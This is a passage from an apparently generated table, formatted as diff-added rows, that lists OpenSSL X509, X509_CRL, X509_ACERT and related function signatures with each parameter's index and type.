X509_add1_ext_i2d | 3 | int | +| (X509 *,int,void *,int,unsigned long) | | X509_add1_ext_i2d | 4 | unsigned long | +| (X509 *,long) | | X509_set_proxy_pathlen | 0 | X509 * | +| (X509 *,long) | | X509_set_proxy_pathlen | 1 | long | +| (X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *) | | X509_build_chain | 0 | X509 * | +| (X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *) | | X509_build_chain | 1 | stack_st_X509 * | +| (X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *) | | X509_build_chain | 2 | X509_STORE * | +| (X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *) | | X509_build_chain | 3 | int | +| (X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *) | | X509_build_chain | 4 | OSSL_LIB_CTX * | +| (X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *) | | X509_build_chain | 5 | const char * | +| (X509 *,unsigned char **) | | i2d_re_X509_tbs | 0 | X509 * | +| (X509 *,unsigned char **) | | i2d_re_X509_tbs | 1 | unsigned char ** | +| (X509V3_CTX *,CONF *) | | X509V3_set_nconf | 0 | X509V3_CTX * | +| (X509V3_CTX *,CONF *) | | X509V3_set_nconf | 1 | CONF * | +| (X509V3_CTX *,EVP_PKEY *) | | X509V3_set_issuer_pkey | 0 | X509V3_CTX * | +| (X509V3_CTX *,EVP_PKEY *) | | X509V3_set_issuer_pkey | 1 | EVP_PKEY * | +| (X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int) | | X509V3_set_ctx | 0 | X509V3_CTX * | +| (X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int) | | X509V3_set_ctx | 1 | X509 * | +| (X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int) | | X509V3_set_ctx | 2 | X509 * | +| (X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int) | | X509V3_set_ctx | 3 | X509_REQ * | +| (X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int) | | X509V3_set_ctx | 4 | X509_CRL * | +| (X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int) | | X509V3_set_ctx | 5 | int | +| (X509V3_CTX *,lhash_st_CONF_VALUE *) | | X509V3_set_conf_lhash | 0 | X509V3_CTX * | +| (X509V3_CTX *,lhash_st_CONF_VALUE *) | | X509V3_set_conf_lhash | 1 | lhash_st_CONF_VALUE * | +| (X509V3_EXT_METHOD *) | | X509V3_EXT_add_list | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,ASN1_BIT_STRING *,stack_st_CONF_VALUE *) | | i2v_ASN1_BIT_STRING | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,ASN1_BIT_STRING *,stack_st_CONF_VALUE *) | | i2v_ASN1_BIT_STRING | 1 | ASN1_BIT_STRING * | +| (X509V3_EXT_METHOD *,ASN1_BIT_STRING *,stack_st_CONF_VALUE *) | | i2v_ASN1_BIT_STRING | 2 | stack_st_CONF_VALUE * | +| (X509V3_EXT_METHOD *,ASN1_IA5STRING *) | | i2s_ASN1_IA5STRING | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,ASN1_IA5STRING *) | | i2s_ASN1_IA5STRING | 1 | ASN1_IA5STRING * | +| (X509V3_EXT_METHOD *,ASN1_UTF8STRING *) | | i2s_ASN1_UTF8STRING | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,ASN1_UTF8STRING *) | | i2s_ASN1_UTF8STRING | 1 | ASN1_UTF8STRING * | +| (X509V3_EXT_METHOD *,GENERAL_NAME *,stack_st_CONF_VALUE *) | | i2v_GENERAL_NAME | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,GENERAL_NAME *,stack_st_CONF_VALUE *) | | i2v_GENERAL_NAME | 1 | GENERAL_NAME * | +| (X509V3_EXT_METHOD *,GENERAL_NAME *,stack_st_CONF_VALUE *) | | i2v_GENERAL_NAME | 2 | stack_st_CONF_VALUE * | +| (X509V3_EXT_METHOD *,GENERAL_NAMES *,stack_st_CONF_VALUE *) | | i2v_GENERAL_NAMES | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,GENERAL_NAMES *,stack_st_CONF_VALUE *) | | i2v_GENERAL_NAMES | 1 | GENERAL_NAMES * | +| (X509V3_EXT_METHOD *,GENERAL_NAMES *,stack_st_CONF_VALUE *) | | i2v_GENERAL_NAMES | 2 | stack_st_CONF_VALUE * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,const char *) | | s2i_ASN1_IA5STRING | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,const char *) | | s2i_ASN1_IA5STRING | 1 | X509V3_CTX * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,const char *) | | s2i_ASN1_IA5STRING | 2 | const char * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,const char *) | | s2i_ASN1_UTF8STRING | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,const char *) | | s2i_ASN1_UTF8STRING | 1 | X509V3_CTX * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,const char *) | | s2i_ASN1_UTF8STRING | 2 | const char * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *) | | v2i_ASN1_BIT_STRING | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *) | | v2i_ASN1_BIT_STRING | 1 | X509V3_CTX * | +| (X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *) | | v2i_ASN1_BIT_STRING | 2 | stack_st_CONF_VALUE * | +| (X509V3_EXT_METHOD *,const ASN1_ENUMERATED *) | | i2s_ASN1_ENUMERATED_TABLE | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,const ASN1_ENUMERATED *) | | i2s_ASN1_ENUMERATED_TABLE | 1 | const ASN1_ENUMERATED * | +| (X509V3_EXT_METHOD *,const ASN1_OCTET_STRING *) | | i2s_ASN1_OCTET_STRING | 0 | X509V3_EXT_METHOD * | +| (X509V3_EXT_METHOD *,const ASN1_OCTET_STRING *) | | i2s_ASN1_OCTET_STRING | 1 | const ASN1_OCTET_STRING * | +| (X509_ACERT *) | | X509_ACERT_free | 0 | X509_ACERT * | +| (X509_ACERT **,const unsigned char **,long) | | d2i_X509_ACERT | 0 | X509_ACERT ** | +| (X509_ACERT **,const unsigned char **,long) | | d2i_X509_ACERT | 1 | const unsigned char ** | +| (X509_ACERT **,const unsigned char **,long) | | d2i_X509_ACERT | 2 | long | +| (X509_ACERT *,EVP_MD_CTX *) | | X509_ACERT_sign_ctx | 0 | X509_ACERT * | +| (X509_ACERT *,EVP_MD_CTX *) | | X509_ACERT_sign_ctx | 1 | EVP_MD_CTX * | +| (X509_ACERT *,EVP_PKEY *,const EVP_MD *) | | X509_ACERT_sign | 0 | X509_ACERT * | +| (X509_ACERT *,EVP_PKEY *,const EVP_MD *) | | X509_ACERT_sign | 1 | EVP_PKEY * | +| (X509_ACERT *,EVP_PKEY *,const EVP_MD *) | | X509_ACERT_sign | 2 | const EVP_MD * | +| (X509_ACERT *,X509_ATTRIBUTE *) | | X509_ACERT_add1_attr | 0 | X509_ACERT * | +| (X509_ACERT *,X509_ATTRIBUTE *) | | X509_ACERT_add1_attr | 1 | X509_ATTRIBUTE * | +| (X509_ACERT *,const ASN1_OBJECT *,int,const void *,int) | | X509_ACERT_add1_attr_by_OBJ | 0 | X509_ACERT * | +| (X509_ACERT *,const ASN1_OBJECT *,int,const void *,int) | | X509_ACERT_add1_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (X509_ACERT *,const ASN1_OBJECT *,int,const void *,int) | | X509_ACERT_add1_attr_by_OBJ | 2 | int | +| (X509_ACERT *,const ASN1_OBJECT *,int,const void *,int) | | X509_ACERT_add1_attr_by_OBJ | 3 | const void * | +| (X509_ACERT *,const ASN1_OBJECT *,int,const void *,int) | | X509_ACERT_add1_attr_by_OBJ | 4 | int | +| (X509_ACERT *,const X509_NAME *) | | X509_ACERT_set1_issuerName | 0 | X509_ACERT * | +| (X509_ACERT *,const X509_NAME *) | | X509_ACERT_set1_issuerName | 1 | const X509_NAME * | +| (X509_ACERT *,const char *,int,const unsigned char *,int) | | X509_ACERT_add1_attr_by_txt | 0 | X509_ACERT * | +| (X509_ACERT *,const char *,int,const unsigned char *,int) | | X509_ACERT_add1_attr_by_txt | 1 | const char * | +| (X509_ACERT *,const char *,int,const unsigned char *,int) | | X509_ACERT_add1_attr_by_txt | 2 | int | +| (X509_ACERT *,const char *,int,const unsigned char *,int) | | X509_ACERT_add1_attr_by_txt | 3 | const unsigned char * | +| (X509_ACERT *,const char *,int,const unsigned char *,int) | | X509_ACERT_add1_attr_by_txt | 4 | int | +| (X509_ACERT *,int) | | X509_ACERT_delete_attr | 0 | X509_ACERT * | +| (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | int | +| (X509_ACERT *,int,int,const void *,int) | | X509_ACERT_add1_attr_by_NID | 0 | X509_ACERT * | +| (X509_ACERT *,int,int,const void *,int) | | X509_ACERT_add1_attr_by_NID | 1 | int | +| (X509_ACERT *,int,int,const void *,int) | | X509_ACERT_add1_attr_by_NID | 2 | int | +| (X509_ACERT *,int,int,const void *,int) | | X509_ACERT_add1_attr_by_NID | 3 | const void * | +| (X509_ACERT *,int,int,const void *,int) | | X509_ACERT_add1_attr_by_NID | 4 | int | +| (X509_ACERT *,int,void *,int,unsigned long) | | X509_ACERT_add1_ext_i2d | 0 | X509_ACERT * | +| (X509_ACERT *,int,void *,int,unsigned long) | | X509_ACERT_add1_ext_i2d | 1 | int | +| (X509_ACERT *,int,void *,int,unsigned long) | | X509_ACERT_add1_ext_i2d | 2 | void * | +| (X509_ACERT *,int,void *,int,unsigned long) | | X509_ACERT_add1_ext_i2d | 3 | int | +| (X509_ACERT *,int,void *,int,unsigned long) | | X509_ACERT_add1_ext_i2d | 4 | unsigned long | +| (X509_ACERT_INFO *) | | X509_ACERT_INFO_free | 0 | X509_ACERT_INFO * | +| (X509_ACERT_ISSUER_V2FORM *) | | X509_ACERT_ISSUER_V2FORM_free | 0 | X509_ACERT_ISSUER_V2FORM * | +| (X509_ALGOR *) | | X509_ALGOR_free | 0 | X509_ALGOR * | +| (X509_ALGOR **,const EVP_MD *) | | ossl_x509_algor_md_to_mgf1 | 0 | X509_ALGOR ** | +| (X509_ALGOR **,const EVP_MD *) | | ossl_x509_algor_md_to_mgf1 | 1 | const EVP_MD * | +| (X509_ALGOR **,const EVP_MD *) | | ossl_x509_algor_new_from_md | 0 | X509_ALGOR ** | +| (X509_ALGOR **,const EVP_MD *) | | ossl_x509_algor_new_from_md | 1 | const EVP_MD * | +| (X509_ALGOR **,const unsigned char **,long) | | d2i_X509_ALGOR | 0 | X509_ALGOR ** | +| (X509_ALGOR **,const unsigned char **,long) | | d2i_X509_ALGOR | 1 | const unsigned char ** | +| (X509_ALGOR **,const unsigned char **,long) | | d2i_X509_ALGOR | 2 | long | +| (X509_ALGOR *,ASN1_OBJECT *,int,void *) | | X509_ALGOR_set0 | 0 | X509_ALGOR * | +| (X509_ALGOR *,ASN1_OBJECT *,int,void *) | | X509_ALGOR_set0 | 1 | ASN1_OBJECT * | +| (X509_ALGOR *,ASN1_OBJECT *,int,void *) | | X509_ALGOR_set0 | 2 | int | +| (X509_ALGOR *,ASN1_OBJECT *,int,void *) | | X509_ALGOR_set0 | 3 | void * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int) | | PKCS12_item_i2d_encrypt | 0 | X509_ALGOR * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int) | | PKCS12_item_i2d_encrypt | 1 | const ASN1_ITEM * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int) | | PKCS12_item_i2d_encrypt | 2 | const char * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int) | | PKCS12_item_i2d_encrypt | 3 | int | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int) | | PKCS12_item_i2d_encrypt | 4 | void * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int) | | PKCS12_item_i2d_encrypt | 5 | int | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_i2d_encrypt_ex | 0 | X509_ALGOR * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_i2d_encrypt_ex | 1 | const ASN1_ITEM * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_i2d_encrypt_ex | 2 | const char * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_i2d_encrypt_ex | 3 | int | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_i2d_encrypt_ex | 4 | void * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_i2d_encrypt_ex | 5 | int | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_i2d_encrypt_ex | 6 | OSSL_LIB_CTX * | +| (X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_i2d_encrypt_ex | 7 | const char * | +| (X509_ALGOR *,const EVP_MD *) | | X509_ALGOR_set_md | 0 | X509_ALGOR * | +| (X509_ALGOR *,const EVP_MD *) | | X509_ALGOR_set_md | 1 | const EVP_MD * | +| (X509_ALGOR *,const X509_ALGOR *) | | X509_ALGOR_copy | 0 | X509_ALGOR * | +| (X509_ALGOR *,const X509_ALGOR *) | | X509_ALGOR_copy | 1 | const X509_ALGOR * | +| (X509_ALGOR *,int,int,const unsigned char *,int) | | PKCS5_pbe_set0_algor | 0 | X509_ALGOR * | +| (X509_ALGOR *,int,int,const unsigned char *,int) | | PKCS5_pbe_set0_algor | 1 | int | +| (X509_ALGOR *,int,int,const unsigned char *,int) | | PKCS5_pbe_set0_algor | 2 | int | +| (X509_ALGOR *,int,int,const unsigned char *,int) | | PKCS5_pbe_set0_algor | 3 | const unsigned char * | +| (X509_ALGOR *,int,int,const unsigned char *,int) | | PKCS5_pbe_set0_algor | 4 | int | +| (X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set0_algor_ex | 0 | X509_ALGOR * | +| (X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set0_algor_ex | 1 | int | +| (X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set0_algor_ex | 2 | int | +| (X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set0_algor_ex | 3 | const unsigned char * | +| (X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set0_algor_ex | 4 | int | +| (X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set0_algor_ex | 5 | OSSL_LIB_CTX * | +| (X509_ALGORS **,const unsigned char **,long) | | d2i_X509_ALGORS | 0 | X509_ALGORS ** | +| (X509_ALGORS **,const unsigned char **,long) | | d2i_X509_ALGORS | 1 | const unsigned char ** | +| (X509_ALGORS **,const unsigned char **,long) | | d2i_X509_ALGORS | 2 | long | +| (X509_ATTRIBUTE *) | | X509_ATTRIBUTE_free | 0 | X509_ATTRIBUTE * | +| (X509_ATTRIBUTE *) | | X509_ATTRIBUTE_get0_object | 0 | X509_ATTRIBUTE * | +| (X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int) | | X509_ATTRIBUTE_create_by_OBJ | 0 | X509_ATTRIBUTE ** | +| (X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int) | | X509_ATTRIBUTE_create_by_OBJ | 1 | const ASN1_OBJECT * | +| (X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int) | | X509_ATTRIBUTE_create_by_OBJ | 2 | int | +| (X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int) | | X509_ATTRIBUTE_create_by_OBJ | 3 | const void * | +| (X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int) | | X509_ATTRIBUTE_create_by_OBJ | 4 | int | +| (X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509_ATTRIBUTE_create_by_txt | 0 | X509_ATTRIBUTE ** | +| (X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509_ATTRIBUTE_create_by_txt | 1 | const char * | +| (X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509_ATTRIBUTE_create_by_txt | 2 | int | +| (X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509_ATTRIBUTE_create_by_txt | 3 | const unsigned char * | +| (X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509_ATTRIBUTE_create_by_txt | 4 | int | +| (X509_ATTRIBUTE **,const unsigned char **,long) | | d2i_X509_ATTRIBUTE | 0 | X509_ATTRIBUTE ** | +| (X509_ATTRIBUTE **,const unsigned char **,long) | | d2i_X509_ATTRIBUTE | 1 | const unsigned char ** | +| (X509_ATTRIBUTE **,const unsigned char **,long) | | d2i_X509_ATTRIBUTE | 2 | long | +| (X509_ATTRIBUTE **,int,int,const void *,int) | | X509_ATTRIBUTE_create_by_NID | 0 | X509_ATTRIBUTE ** | +| (X509_ATTRIBUTE **,int,int,const void *,int) | | X509_ATTRIBUTE_create_by_NID | 1 | int | +| (X509_ATTRIBUTE **,int,int,const void *,int) | | X509_ATTRIBUTE_create_by_NID | 2 | int | +| (X509_ATTRIBUTE **,int,int,const void *,int) | | X509_ATTRIBUTE_create_by_NID | 3 | const void * | +| (X509_ATTRIBUTE **,int,int,const void *,int) | | X509_ATTRIBUTE_create_by_NID | 4 | int | +| (X509_ATTRIBUTE *,const ASN1_OBJECT *) | | X509_ATTRIBUTE_set1_object | 0 | X509_ATTRIBUTE * | +| (X509_ATTRIBUTE *,const ASN1_OBJECT *) | | X509_ATTRIBUTE_set1_object | 1 | const ASN1_OBJECT * | +| (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 0 | X509_ATTRIBUTE * | +| (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | int | +| (X509_CERT_AUX *) | | X509_CERT_AUX_free | 0 | X509_CERT_AUX * | +| (X509_CERT_AUX **,const unsigned char **,long) | | d2i_X509_CERT_AUX | 0 | X509_CERT_AUX ** | +| (X509_CERT_AUX **,const unsigned char **,long) | | d2i_X509_CERT_AUX | 1 | const unsigned char ** | +| (X509_CERT_AUX **,const unsigned char **,long) | | d2i_X509_CERT_AUX | 2 | long | +| (X509_CINF *) | | X509_CINF_free | 0 | X509_CINF * | +| (X509_CINF **,const unsigned char **,long) | | d2i_X509_CINF | 0 | X509_CINF ** | +| (X509_CINF **,const unsigned char **,long) | | d2i_X509_CINF | 1 | const unsigned char ** | +| (X509_CINF **,const unsigned char **,long) | | d2i_X509_CINF | 2 | long | +| (X509_CRL *) | | OSSL_STORE_INFO_new_CRL | 0 | X509_CRL * | +| (X509_CRL *) | | PKCS12_SAFEBAG_create_crl | 0 | X509_CRL * | +| (X509_CRL *) | | X509_CRL_free | 0 | X509_CRL * | +| (X509_CRL *) | | X509_CRL_get_REVOKED | 0 | X509_CRL * | +| (X509_CRL *) | | X509_CRL_get_lastUpdate | 0 | X509_CRL * | +| (X509_CRL *) | | X509_CRL_get_meth_data | 0 | X509_CRL * | +| (X509_CRL *) | | X509_CRL_get_nextUpdate | 0 | X509_CRL * | +| (X509_CRL **,const unsigned char **,long) | | d2i_X509_CRL | 0 | X509_CRL ** | +| (X509_CRL **,const unsigned char **,long) | | d2i_X509_CRL | 1 | const unsigned char ** | +| (X509_CRL **,const unsigned char **,long) | | d2i_X509_CRL | 2 | long | +| (X509_CRL *,EVP_MD_CTX *) | | X509_CRL_sign_ctx | 0 | X509_CRL * | +| (X509_CRL *,EVP_MD_CTX *) | | X509_CRL_sign_ctx | 1 | EVP_MD_CTX * | +| (X509_CRL *,EVP_PKEY *,const EVP_MD *) | | X509_CRL_sign | 0 | X509_CRL * | +| (X509_CRL *,EVP_PKEY *,const EVP_MD *) | | X509_CRL_sign | 1 | EVP_PKEY * | +| (X509_CRL *,EVP_PKEY *,const EVP_MD *) | | X509_CRL_sign | 2 | const EVP_MD * | +| (X509_CRL *,OSSL_LIB_CTX *,const char *) | | ossl_x509_crl_set0_libctx | 0 | X509_CRL * | +| (X509_CRL *,OSSL_LIB_CTX *,const char *) | | ossl_x509_crl_set0_libctx | 1 | OSSL_LIB_CTX * | +| (X509_CRL *,OSSL_LIB_CTX *,const char *) | | ossl_x509_crl_set0_libctx | 2 | const char * | +| (X509_CRL *,X509_CRL *,EVP_PKEY *,const EVP_MD *,unsigned int) | | X509_CRL_diff | 0 | X509_CRL * | +| (X509_CRL *,X509_CRL *,EVP_PKEY *,const EVP_MD *,unsigned int) | | X509_CRL_diff | 1 | X509_CRL * | +| (X509_CRL *,X509_CRL *,EVP_PKEY *,const EVP_MD *,unsigned int) | | X509_CRL_diff | 2 | EVP_PKEY * | +| (X509_CRL *,X509_CRL *,EVP_PKEY *,const EVP_MD *,unsigned int) | | X509_CRL_diff | 3 | const EVP_MD * | +| (X509_CRL *,X509_CRL *,EVP_PKEY *,const EVP_MD *,unsigned int) | | X509_CRL_diff | 4 | unsigned int | +| (X509_CRL *,X509_EXTENSION *,int) | | X509_CRL_add_ext | 0 | X509_CRL * | +| (X509_CRL *,X509_EXTENSION *,int) | | X509_CRL_add_ext | 1 | X509_EXTENSION * | +| (X509_CRL *,X509_EXTENSION *,int) | | X509_CRL_add_ext | 2 | int | +| (X509_CRL *,const X509_NAME *) | | X509_CRL_set_issuer_name | 0 | X509_CRL * | +| (X509_CRL *,const X509_NAME *) | | X509_CRL_set_issuer_name | 1 | const X509_NAME * | +| (X509_CRL *,int) | | X509_CRL_delete_ext | 0 | X509_CRL * | +| (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | int | +| (X509_CRL *,int,void *,int,unsigned long) | | X509_CRL_add1_ext_i2d | 0 | X509_CRL * | +| (X509_CRL *,int,void *,int,unsigned long) | | X509_CRL_add1_ext_i2d | 1 | int | +| (X509_CRL *,int,void *,int,unsigned long) | | X509_CRL_add1_ext_i2d | 2 | void * | +| (X509_CRL *,int,void *,int,unsigned long) | | X509_CRL_add1_ext_i2d | 3 | int | +| (X509_CRL *,int,void *,int,unsigned long) | | X509_CRL_add1_ext_i2d | 4 | unsigned long | +| (X509_CRL *,unsigned char **) | | i2d_re_X509_CRL_tbs | 0 | X509_CRL * | +| (X509_CRL *,unsigned char **) | | i2d_re_X509_CRL_tbs | 1 | unsigned char ** | +| (X509_CRL *,void *) | | X509_CRL_set_meth_data | 0 | X509_CRL * | +| (X509_CRL *,void *) | | X509_CRL_set_meth_data | 1 | void * | +| (X509_CRL_INFO *) | | X509_CRL_INFO_free | 0 | X509_CRL_INFO * | +| (X509_CRL_INFO **,const unsigned char **,long) | | d2i_X509_CRL_INFO | 0 | X509_CRL_INFO ** | +| (X509_CRL_INFO **,const unsigned char **,long) | | d2i_X509_CRL_INFO | 1 | const unsigned char ** | +| (X509_CRL_INFO **,const unsigned char **,long) | | d2i_X509_CRL_INFO | 2 | long | +| (X509_EXTENSION *) | | X509V3_EXT_d2i | 0 | X509_EXTENSION * | +| (X509_EXTENSION *) | | X509_EXTENSION_free | 0 | X509_EXTENSION * | +| (X509_EXTENSION *) | | X509_EXTENSION_get_data | 0 | X509_EXTENSION * | +| (X509_EXTENSION *) | | X509_EXTENSION_get_object | 0 | X509_EXTENSION * | +| (X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *) | | X509_EXTENSION_create_by_OBJ | 0 | X509_EXTENSION ** | +| (X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *) | | X509_EXTENSION_create_by_OBJ | 1 | const ASN1_OBJECT * | +| (X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *) | | X509_EXTENSION_create_by_OBJ | 2 | int | +| (X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *) | | X509_EXTENSION_create_by_OBJ | 3 | ASN1_OCTET_STRING * | +| (X509_EXTENSION **,const unsigned char **,long) | | d2i_X509_EXTENSION | 0 | X509_EXTENSION ** | +| (X509_EXTENSION **,const unsigned char **,long) | | d2i_X509_EXTENSION | 1 | const unsigned char ** | +| (X509_EXTENSION **,const unsigned char **,long) | | d2i_X509_EXTENSION | 2 | long | +| (X509_EXTENSION **,int,int,ASN1_OCTET_STRING *) | | X509_EXTENSION_create_by_NID | 0 | X509_EXTENSION ** | +| (X509_EXTENSION **,int,int,ASN1_OCTET_STRING *) | | X509_EXTENSION_create_by_NID | 1 | int | +| (X509_EXTENSION **,int,int,ASN1_OCTET_STRING *) | | X509_EXTENSION_create_by_NID | 2 | int | +| (X509_EXTENSION **,int,int,ASN1_OCTET_STRING *) | | X509_EXTENSION_create_by_NID | 3 | ASN1_OCTET_STRING * | +| (X509_EXTENSION *,ASN1_OCTET_STRING *) | | X509_EXTENSION_set_data | 0 | X509_EXTENSION * | +| (X509_EXTENSION *,ASN1_OCTET_STRING *) | | X509_EXTENSION_set_data | 1 | ASN1_OCTET_STRING * | +| (X509_EXTENSION *,const ASN1_OBJECT *) | | X509_EXTENSION_set_object | 0 | X509_EXTENSION * | +| (X509_EXTENSION *,const ASN1_OBJECT *) | | X509_EXTENSION_set_object | 1 | const ASN1_OBJECT * | +| (X509_EXTENSIONS **,const unsigned char **,long) | | d2i_X509_EXTENSIONS | 0 | X509_EXTENSIONS ** | +| (X509_EXTENSIONS **,const unsigned char **,long) | | d2i_X509_EXTENSIONS | 1 | const unsigned char ** | +| (X509_EXTENSIONS **,const unsigned char **,long) | | d2i_X509_EXTENSIONS | 2 | long | +| (X509_LOOKUP *,void *) | | X509_LOOKUP_set_method_data | 0 | X509_LOOKUP * | +| (X509_LOOKUP *,void *) | | X509_LOOKUP_set_method_data | 1 | void * | +| (X509_LOOKUP_METHOD *) | | X509_LOOKUP_new | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,..(*)(..)) | | X509_LOOKUP_meth_set_free | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,..(*)(..)) | | X509_LOOKUP_meth_set_free | 1 | ..(*)(..) | +| (X509_LOOKUP_METHOD *,..(*)(..)) | | X509_LOOKUP_meth_set_init | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,..(*)(..)) | | X509_LOOKUP_meth_set_init | 1 | ..(*)(..) | +| (X509_LOOKUP_METHOD *,..(*)(..)) | | X509_LOOKUP_meth_set_new_item | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,..(*)(..)) | | X509_LOOKUP_meth_set_new_item | 1 | ..(*)(..) | +| (X509_LOOKUP_METHOD *,..(*)(..)) | | X509_LOOKUP_meth_set_shutdown | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,..(*)(..)) | | X509_LOOKUP_meth_set_shutdown | 1 | ..(*)(..) | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_ctrl_fn) | | X509_LOOKUP_meth_set_ctrl | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_ctrl_fn) | | X509_LOOKUP_meth_set_ctrl | 1 | X509_LOOKUP_ctrl_fn | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_alias_fn) | | X509_LOOKUP_meth_set_get_by_alias | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_alias_fn) | | X509_LOOKUP_meth_set_get_by_alias | 1 | X509_LOOKUP_get_by_alias_fn | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_fingerprint_fn) | | X509_LOOKUP_meth_set_get_by_fingerprint | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_fingerprint_fn) | | X509_LOOKUP_meth_set_get_by_fingerprint | 1 | X509_LOOKUP_get_by_fingerprint_fn | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_issuer_serial_fn) | | X509_LOOKUP_meth_set_get_by_issuer_serial | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_issuer_serial_fn) | | X509_LOOKUP_meth_set_get_by_issuer_serial | 1 | X509_LOOKUP_get_by_issuer_serial_fn | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_subject_fn) | | X509_LOOKUP_meth_set_get_by_subject | 0 | X509_LOOKUP_METHOD * | +| (X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_subject_fn) | | X509_LOOKUP_meth_set_get_by_subject | 1 | X509_LOOKUP_get_by_subject_fn | +| (X509_NAME *) | | 